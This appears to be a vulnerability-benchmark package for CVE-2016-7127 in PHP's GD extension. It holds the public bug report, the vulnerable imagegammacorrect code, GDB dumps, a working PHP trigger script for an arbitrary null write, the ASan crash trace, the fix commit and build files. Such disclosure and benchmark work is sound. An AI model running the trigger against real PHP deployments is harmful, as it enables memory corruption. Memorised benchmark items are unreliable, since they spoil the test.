Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2016-7127
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=72730
## Description:
PHP Bug ID: 72730
Summary: imagegammacorrect allows arbitrary write access
Status: Closed
PHP Version: 5.6.24
Assigned: stas (profile)
CVE-ID: 2016-7127

Description:
Description:
------------
Description:
------------
imagegammacorrect accepts two gamma values, if they don't have the same sign then the palette colors will be assigned values bigger than 0xFF, later this values are used to calculate the transparent color using the gdTrueColorAlpha macro, and a negative value will be assigned to the transparent color. 

This negative value is used as an index and allows writing an arbitrary null, similar to bug #72512 

This doesn't affect libgd upstream, gamma correction is only implemented in PHP.

Possible fix
------------
Don't accept negative values on imagegammacorrect


Details
-------
Source code:

https://github.com/php/php-src/blob/master/ext/gd/gd.c#L3024

PHP_FUNCTION(imagegammacorrect)
{
        zval *IM;
        gdImagePtr im;
        int i;
        double input, output;

        if (zend_parse_parameters(ZEND_NUM_ARGS(), "rdd", &IM, &input, &output) == FAILURE) {
                return;
        }

        if ((im = (gdImagePtr)zend_fetch_resource(Z_RES_P(IM), "Image", le_gd)) == NULL) {
                RETURN_FALSE;
        }

        if (gdImageTrueColor(im))       {
                int x, y, c;

                for (y = 0; y < gdImageSY(im); y++)     {
                        for (x = 0; x < gdImageSX(im); x++)     {
                                c = gdImageGetPixel(im, x, y);
                                gdImageSetPixel(im, x, y,
                                        gdTrueColorAlpha(
                                                (int) ((pow((pow((gdTrueColorGetRed(c)   / 255.0), input)), 1.0 / output) * 255) + .5),
                                                (int) ((pow((pow((gdTrueColorGetGreen(c) / 255.0), input)), 1.0 / output) * 255) + .5),
                                                (int) ((pow((pow((gdTrueColorGetBlue(c)  / 255.0), input)), 1.0 / output) * 255) + .5),
                                                gdTrueColorGetAlpha(c)
                                        )
                                );
                        }
                }
                RETURN_TRUE;
        }

        for (i = 0; i < gdImageColorsTotal(im); i++) {
                im->red[i]   = (int)((pow((pow((im->red[i]   / 255.0), input)), 1.0 / output) * 255) + .5);
                im->green[i] = (int)((pow((pow((im->green[i] / 255.0), input)), 1.0 / output) * 255) + .5);
                im->blue[i]  = (int)((pow((pow((im->blue[i]  / 255.0), input)), 1.0 / output) * 255) + .5);
        }

        RETURN_TRUE;
}


The line that calculates the rgb values generates a value bigger than 255, let's analyze red for example:

 im->red[i]   = (int)((pow((pow((im->red[i]   / 255.0), input)), 1.0 / output) * 255) + .5);

This formula is:

[[r/255] ^ input ] ^ (1 / output) 

 [r/255] ^ (input / output)

If one of these two is negatives then it becomes:

[255/r] ^ (input / output)

We control r, input and output, and we can make the new value bigger than 255.


GDB output
----------
Before imagegamacorrect:

Breakpoint 5, gdImageTrueColorToPaletteBody (oim=0x7fffef678000, dither=<optimized out>, colorsWanted=<optimized out>, cimP=0x0) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:2015
2015        oim->tpixels = 0;
gdb-peda$ p *oim
$2 = {
  pixels = 0x7fffef6730f0,
  sx = 0x1,
  sy = 0x1,
  colorsTotal = 0x2,
  red = {0x4, 0xb, 0x0 <repeats 254 times>},
  green = {0x2, 0xc, 0x0 <repeats 254 times>},
  blue = {0x4, 0xd, 0x0 <repeats 254 times>},
  open = {0x0 <repeats 256 times>},
  transparent = 0x1,
  polyInts = 0x0,
  polyAllocated = 0x0,
  brush = 0x0,
  tile = 0x0,
  brushColorMap = {0x0 <repeats 256 times>},
  tileColorMap = {0x0 <repeats 256 times>},
  styleLength = 0x0,
  stylePos = 0x0,
  style = 0x0,
  interlace = 0x0,
  thick = 0x1,
  alpha = {0x0, 0x7f, 0x0 <repeats 254 times>},
  trueColor = 0x0,
  tpixels = 0x7fffef673050,
  alphaBlendingFlag = 0x1,
  antialias = 0x0,
  saveAlphaFlag = 0x0,
  AA = 0x0,
  AA_color = 0x0,
  AA_dont_blend = 0x0,
  AA_opacity = 0x7fffef673078,
  AA_polygon = 0x0,
  AAL_x1 = 0x0,
  AAL_y1 = 0x0,
  AAL_x2 = 0x0,
  AAL_y2 = 0x0,
  AAL_Bx_Ax = 0x0,
  AAL_By_Ay = 0x0,
  AAL_LAB_2 = 0x0,
  AAL_LAB = 0,
  cx1 = 0x0,
  cy1 = 0x0,
  cx2 = 0x0,
  cy2 = 0x0,
  interpolation_id = GD_BILINEAR_FIXED,
  interpolation = 0x0
}
gdb-peda$ c


After gammacorrect:

Breakpoint 3, gdImagePaletteToTrueColor (src=0x7fffef678000) at /home/operac/php-70/ext/gd/libgd/gd.c:3107
3107            if (src == NULL) {
gdb-peda$ p *src
$3 = {
  pixels = 0x7fffef6730f0,
  sx = 0x1,
  sy = 0x1,
  colorsTotal = 0x2,
  red = {0x100, 0x100, 0x0 <repeats 254 times>},            // colors palette > 0xff
  green = {0x100, 0x100, 0x0 <repeats 254 times>},
  blue = {0x100, 0x100, 0x0 <repeats 254 times>},
  open = {0x0 <repeats 256 times>},
  transparent = 0x1,
  polyInts = 0x0,
  polyAllocated = 0x0,
  brush = 0x0,
  tile = 0x0,
  brushColorMap = {0x0 <repeats 256 times>},
  tileColorMap = {0x0 <repeats 256 times>},
  styleLength = 0x0,
  stylePos = 0x0,
  style = 0x0,
  interlace = 0x0,
  thick = 0x1,
  alpha = {0x0, 0x7f, 0x0 <repeats 254 times>},
  trueColor = 0x0,
  tpixels = 0x0,
  alphaBlendingFlag = 0x1,
  antialias = 0x0,
  saveAlphaFlag = 0x0,
  AA = 0x0,
  AA_color = 0x0,
  AA_dont_blend = 0x0,
  AA_opacity = 0x7fffef673078,
  AA_polygon = 0x0,
  AAL_x1 = 0x0,
  AAL_y1 = 0x0,
  AAL_x2 = 0x0,
  AAL_y2 = 0x0,
  AAL_Bx_Ax = 0x0,
  AAL_By_Ay = 0x0,
  AAL_LAB_2 = 0x0,
  AAL_LAB = 0,
  cx1 = 0x0,
  cy1 = 0x0,
  cx2 = 0x0,
  cy2 = 0x0,
  interpolation_id = GD_BILINEAR_FIXED,
  interpolation = 0x0
}

...

After imagepalettetotruecolor:

Breakpoint 4, php_gd_gdImageTrueColorToPalette (im=0x7fffef678000, dither=0x1, colorsWanted=0xa) at /home/operac/php-70/ext/gd/libgd/gd_topal.c:1767
1767    {
gdb-peda$ p *im
$4 = {
  pixels = 0x0,
  sx = 0x1,
  sy = 0x1,
  colorsTotal = 0x2,
  red = {0x100, 0x100, 0x0 <repeats 254 times>},
  green = {0x100, 0x100, 0x0 <repeats 254 times>},
  blue = {0x100, 0x100, 0x0 <repeats 254 times>},
  open = {0x0 <repeats 256 times>},
  transparent = 0x80010100,         // transparent > 0x7fffffff (negative)
  polyInts = 0x0,
  polyAllocated = 0x0,
  brush = 0x0,
  tile = 0x0,
  brushColorMap = {0x0 <repeats 256 times>},
  tileColorMap = {0x0 <repeats 256 times>},
  styleLength = 0x0,
  stylePos = 0x0,
  style = 0x0,
  interlace = 0x0,
  thick = 0x1,
  alpha = {0x0, 0x7f, 0x0 <repeats 254 times>},
  trueColor = 0x1,
  tpixels = 0x7fffef673050,
  alphaBlendingFlag = 0x0,
  antialias = 0x0,
  saveAlphaFlag = 0x1,
  AA = 0x0,
  AA_color = 0x0,
  AA_dont_blend = 0x0,
  AA_opacity = 0x7fffef673078,
  AA_polygon = 0x0,
  AAL_x1 = 0x0,
  AAL_y1 = 0x0,
  AAL_x2 = 0x0,
  AAL_y2 = 0x0,
  AAL_Bx_Ax = 0x0,
  AAL_By_Ay = 0x0,
  AAL_LAB_2 = 0x0,
  AAL_LAB = 0,
  cx1 = 0x0,
  cy1 = 0x0,
  cx2 = 0x0,
  cy2 = 0x0,
  interpolation_id = GD_BILINEAR_FIXED,
  interpolation = 0x0
}

gdb-peda$ p/d im->transparent
$6 = -2147417856
-----------------------------------------

...
https://github.com/php/php-src/blob/dda0ea9b3af0c392be8d850ccdbe8a1bfa2badb6/ext/gd/libgd/gd.c#L3155

int gdImagePaletteToTrueColor(gdImagePtr src)
{
...
        if (src->transparent >= 0) {
                const unsigned char c = src->transparent;
                src->transparent =  gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]);
        }
...

https://github.com/php/php-src/blob/1c295d4a9ac78fcc2f77d6695987598bb7abcb83/ext/gd/libgd/gd.h#L541


#define gdTrueColorAlpha(r, g, b, a) (((a) << 24) + \
        ((r) << 16) + \
        ((g) << 8) + \
        (b))

7f000000   alpha
 1000000   red
   10000   green
     100   blue
-----------------
80010100 

This is the negative color that was assigned to transparent.

Test script:
---------------
<?php
$img =  imagecreatetruecolor(1, 1);

imagecolortransparent($img, 0x0a0b0c0d);   # if color >= 0  ->  img->transparent = 0x0a0b0c0d
imagetruecolortopalette($img, true,  10);  # if transparent >=0 -> r[i]=0x0b  g[i]=0x0c b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f);  img->transparent = i  
imagegammacorrect($img, -1, 1337);   # rgb becomes negative => (int)((pow((pow((im->red[i]   / 255.0), input)), 1.0 / output) * 255) + .5);
imagepalettetotruecolor($img);       # if transparent >=0  const unsigned char c = src->transparent;  src->transparent =  gdTrueColorAlpha(src->red[c], src->green[c], src->blue[c], src->alpha[c]);
imagetruecolortopalette($img, true, 10);   # if transparent >=0 =>  r[i]=0x0b   g[i]=0x0c   b[i]=0x0d; a[i] = gdAlphaTransparent (0x7f);    img->transparent = i  
imagecolortransparent($img, 0);      # if color >=0 && color < colorsTotal => im->alpha[im->transparent] = gdAlphaOpaque (0x0);


Expected result:
----------------
No crash

Actual result:
--------------
ASan output:

ASAN:SIGSEGV
=================================================================
==7112==ERROR: AddressSanitizer: SEGV on unknown address 0x7f96b96b9c50 (pc 0x00000098c960 bp 0x7ffcb18d91e0 sp 0x7ffcb18d91e0 T0)
    #0 0x98c95f in php_gd_gdImageColorTransparent /home/operac/php-70/ext/gd/libgd/gd.c:609
    #1 0x95b50c in zif_imagecolortransparent /home/operac/php-70/ext/gd/gd.c:3311
    #2 0x1da38da in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/php-70/Zend/zend_vm_execute.h:586
    #3 0x1b4c335 in execute_ex /home/operac/php-70/Zend/zend_vm_execute.h:414
    #4 0x1df9dc8 in zend_execute /home/operac/php-70/Zend/zend_vm_execute.h:458
    #5 0x194764a in zend_execute_scripts /home/operac/php-70/Zend/zend.c:1427
    #6 0x16b8347 in php_execute_script /home/operac/php-70/main/main.c:2494
    #7 0x1e02126 in do_cli /home/operac/php-70/sapi/cli/php_cli.c:974
    #8 0x467378 in main /home/operac/php-70/sapi/cli/php_cli.c:1344
    #9 0x7f98bf19382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #10 0x467a48 in _start (/ramdisk/php-fuzz/phuzzer/php-70/sapi/cli/php+0x467a48)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/operac/php-70/ext/gd/libgd/gd.c:609 php_gd_gdImageColorTransparent
==7112==ABORTING

Comments:

[Comment 1] [2016-08-10 07:16 UTC] stas@php.net
Fixed in 047fe0ed03093a496691d376fcf51a7e2f1d04b0 and https://gist.github.com/8d67aca5d29866ca35b16c80bbe01c4f

please verify
Links: https://gist.github.com/8d67aca5d29866ca35b16c80bbe01c4f

Commit References:
047fe0ed03093a496691d376fcf51a7e2f1d04b0
1c295d4a9ac78fcc2f77d6695987598bb7abcb83
dda0ea9b3af0c392be8d850ccdbe8a1bfa2badb6

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
        --enable-option-checking=fatal \
        --disable-libxml \
        --disable-dom \
        --disable-simplexml \
        --disable-xml \
        --disable-xmlreader \
        --disable-xmlwriter \
        --without-pear \
        --enable-exif \
        --disable-phpdbg \
        --disable-cgi
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout a3598dd7c9b182debcb54b9322b1dece14c9b533
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files: